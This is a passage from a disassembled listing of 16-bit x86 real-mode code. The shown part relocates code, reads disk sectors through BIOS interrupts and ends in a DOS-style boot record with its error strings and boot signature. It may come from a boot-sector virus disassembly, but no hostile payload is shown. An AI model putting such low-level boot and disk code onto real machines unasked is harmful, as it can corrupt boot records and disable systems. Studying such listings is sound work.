  4859.         mov    es,ax
  4860.  
  4861.         mov    si,data_0164e
  4862.  
  4863.         xor    di,di            ; Zero register
  4864.  
  4865.         mov    cx,1400h
  4866.  
  4867.         cld                ; Clear direction
  4868.  
  4869.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  4870.  
  4871.         push    es
  4872.  
  4873.         mov    ax,400h
  4874.  
  4875.         push    ax
  4876.  
  4877.         retf
  4878.  
  4879.         xor    ah,ah            ; Zero register
  4880.  
  4881.         int    13h            ; Disk  dl=drive a  ah=func 00h
  4882.  
  4883.                         ;  reset disk, al=return status
  4884.  
  4885.         jc    loc_0066        ; Jump if carry Set
  4886.  
  4887.         xor    dx,dx            ; Zero register
  4888.  
  4889.         mov    cx,2821h
  4890.  
  4891.         mov    bx,data_0178e
  4892.  
  4893.         mov    ax,209h
  4894.  
  4895.         int    13h            ; Disk  dl=drive a  ah=func 02h
  4896.  
  4897.                         ;  read sectors to memory es:bx
  4898.  
  4899.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  4900.  
  4901. loc_0066:
  4902.  
  4903. ;*        mov    ax,offset loc_0077    ;*
  4904.  
  4905.         db    0B8h, 3Ch, 7Ch
  4906.  
  4907.         push    ax
  4908.  
  4909.         retn
  4910.  
  4911.         db    0BEh, 5Fh, 7Dh,0B9h, 48h, 00h
  4912.  
  4913.  
  4914.  
  4915. locloop_0067:
  4916.  
  4917.         xor    bh,bh            ; Zero register
  4918.  
  4919.         mov    al,[si]
  4920.  
  4921.         mov    ah,0Eh
  4922.  
  4923.         int    10h            ; Video display   ah=functn 0Eh
  4924.  
  4925.                         ;  write char al, teletype mode
  4926.  
  4927.         inc    si
  4928.  
  4929.         loop    locloop_0067        ; Loop if cx > 0
  4930.  
  4931.  
  4932.  
  4933. loc_0068:
  4934.  
  4935.         xor    ah,ah            ; Zero register
  4936.  
  4937.         int    16h            ; Keyboard i/o  ah=function 00h
  4938.  
  4939.                         ;  get keybd char in al, ah=scan
  4940.  
  4941.         mov    ah,1
  4942.  
  4943.         int    16h            ; Keyboard i/o  ah=function 01h
  4944.  
  4945.                         ;  get status, if zf=0  al=char
  4946.  
  4947.         jnz    loc_0068        ; Jump if not zero
  4948.  
  4949. ;*        mov    bx,offset loc_0078    ;*
  4950.  
  4951.         db    0BBh, 43h, 7Ch
  4952.  
  4953.         push    bx
  4954.  
  4955.         retn
  4956.  
  4957.         mov    ax,cs
  4958.  
  4959.         mov    ds,ax
  4960.  
  4961.         mov    es,ax
  4962.  
  4963.         mov    si,data_0176e
  4964.  
  4965.         mov    di,data_0178e
  4966.  
  4967.         mov    cx,18h
  4968.  
  4969.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  4970.  
  4971. ;*        mov    di,offset loc_0081    ;*
  4972.  
  4973.         db    0BFh, 00h, 7Eh
  4974.  
  4975.         push    di
  4976.  
  4977.         retn
  4978.  
  4979.         db     32h,0E4h,0CDh, 13h
  4980.  
  4981. loc_0069:
  4982.  
  4983.         jc    loc_0070        ; Jump if carry Set
  4984.  
  4985.         xor    dx,dx            ; Zero register
  4986.  
  4987.         mov    cx,1
  4988.  
  4989.         mov    bx,data_0164e
  4990.  
  4991.         mov    ax,201h
  4992.  
  4993.         int    13h            ; Disk  dl=drive a  ah=func 02h
  4994.  
  4995.                         ;  read sectors to memory es:bx
  4996.  
  4997.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  4998.  
  4999. loc_0070:
  5000.  
  5001. ;*        mov    bx,offset loc_0076    ;*
  5002.  
  5003.         db    0BBh, 00h, 7Ch
  5004.  
  5005.         push    bx
  5006.  
  5007.         retn
  5008.  
  5009.         sub    al,7Ch            ; '|'
  5010.  
  5011.         mov    ds:data_0175e,ax
  5012.  
  5013.         mov    bx,700h
  5014.  
  5015. loc_0071:
  5016.  
  5017.         mov    ax,ds:data_0171e
  5018.  
  5019.         call    sub_0018
  5020.  
  5021.         mov    ax,ds:data_0167e
  5022.  
  5023.         sub    al,ds:data_0173e
  5024.  
  5025.         inc    ax
  5026.  
  5027.         push    ax
  5028.  
  5029.         call    sub_0019
  5030.  
  5031.         pop    ax
  5032.  
  5033.         jc    loc_0069        ; Jump if carry Set
  5034.  
  5035.         sub    ds:data_0174e,al
  5036.  
  5037.         jbe    loc_0072        ; Jump if below or =
  5038.  
  5039.         add    ds:data_0171e,ax
  5040.  
  5041.         mul    word ptr ds:data_0165e    ; ax = data * ax
  5042.  
  5043.         add    bx,ax
  5044.  
  5045.         jmp    short loc_0071
  5046.  
  5047. loc_0072:
  5048.  
  5049.         mov    ch,ds:data_0166e
  5050.  
  5051.         mov    dl,ds:data_0169e
  5052.  
  5053.         mov    bx,ds:data_0175e
  5054.  
  5055. ;*        jmp    far ptr loc_0001    ;*
  5056.  
  5057.         db    0EAh, 00h, 00h, 70h, 00h
  5058.  
  5059. loc_0073:
  5060.  
  5061.         lodsb                ; String [si] to al
  5062.  
  5063.         or    al,al            ; Zero ?
  5064.  
  5065.         jz    loc_ret_0074        ; Jump if zero
  5066.  
  5067.         mov    ah,0Eh
  5068.  
  5069.         mov    bx,7
  5070.  
  5071.         int    10h            ; Video display   ah=functn 0Eh
  5072.  
  5073.                         ;  write char al, teletype mode
  5074.  
  5075.         jmp    short loc_0073
  5076.  
  5077.  
  5078.  
  5079. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  5080.  
  5081. ;                   SUBROUTINE
  5082.  
  5083. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  5084.  
  5085.  
  5086.  
  5087. sub_0018    proc    near
  5088.  
  5089.         xor    dx,dx            ; Zero register
  5090.  
  5091.         div    word ptr ds:data_0167e    ; ax,dxrem=dx:ax/data
  5092.  
  5093.         inc    dl
  5094.  
  5095.         mov    ds:data_0173e,dl
  5096.  
  5097.         xor    dx,dx            ; Zero register
  5098.  
  5099.         div    word ptr ds:data_0168e    ; ax,dxrem=dx:ax/data
  5100.  
  5101.         mov    byte ptr ds:data_0169e+1,dl
  5102.  
  5103.         mov    ds:data_0172e,ax
  5104.  
  5105.  
  5106.  
  5107. loc_ret_0074:
  5108.  
  5109.         retn
  5110.  
  5111. sub_0018    endp
  5112.  
  5113.  
  5114.  
  5115.  
  5116.  
  5117. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  5118.  
  5119. ;                   SUBROUTINE
  5120.  
  5121. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  5122.  
  5123.  
  5124.  
  5125. sub_0019    proc    near
  5126.  
  5127.         mov    ah,2
  5128.  
  5129.         mov    dx,ds:data_0172e
  5130.  
  5131.         mov    cl,6
  5132.  
  5133.         shl    dh,cl            ; Shift w/zeros fill
  5134.  
  5135.         or    dh,ds:data_0173e
  5136.  
  5137.         mov    cx,dx
  5138.  
  5139.         xchg    ch,cl
  5140.  
  5141.         mov    dx,ds:data_0169e
  5142.  
  5143.         int    13h            ; Disk  dl=drive a  ah=func 02h
  5144.  
  5145.                         ;  read sectors to memory es:bx
  5146.  
  5147.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  5148.  
  5149.         retn
  5150.  
  5151. sub_0019    endp
  5152.  
  5153.  
  5154.  
  5155.         db    0Dh, 0Ah, 'Non-System disk or dis'
  5156.  
  5157.         db    'k error', 0Dh, 0Ah, 'Replace and'
  5158.  
  5159.         db    ' strike any key when ready', 0Dh
  5160.  
  5161.         db    0Ah, 0
  5162.  
  5163.         db    0Dh, 0Ah, 'Disk Boot failure', 0Dh
  5164.  
  5165.         db    0Ah, 0
  5166.  
  5167.         db    'IBMBIO  COMIBMDOS  COM'
  5168.  
  5169.         db    42 dup (0)
  5170.  
  5171.         db     55h,0AAh
  5172.  
  5173.  
  5174.  
  5175. seg_a        ends
  5176.  
  5177.  
  5178.  
  5179.  
  5180.  
  5181.  
  5182.  
  5183.         end    start
  5184.  
  5185.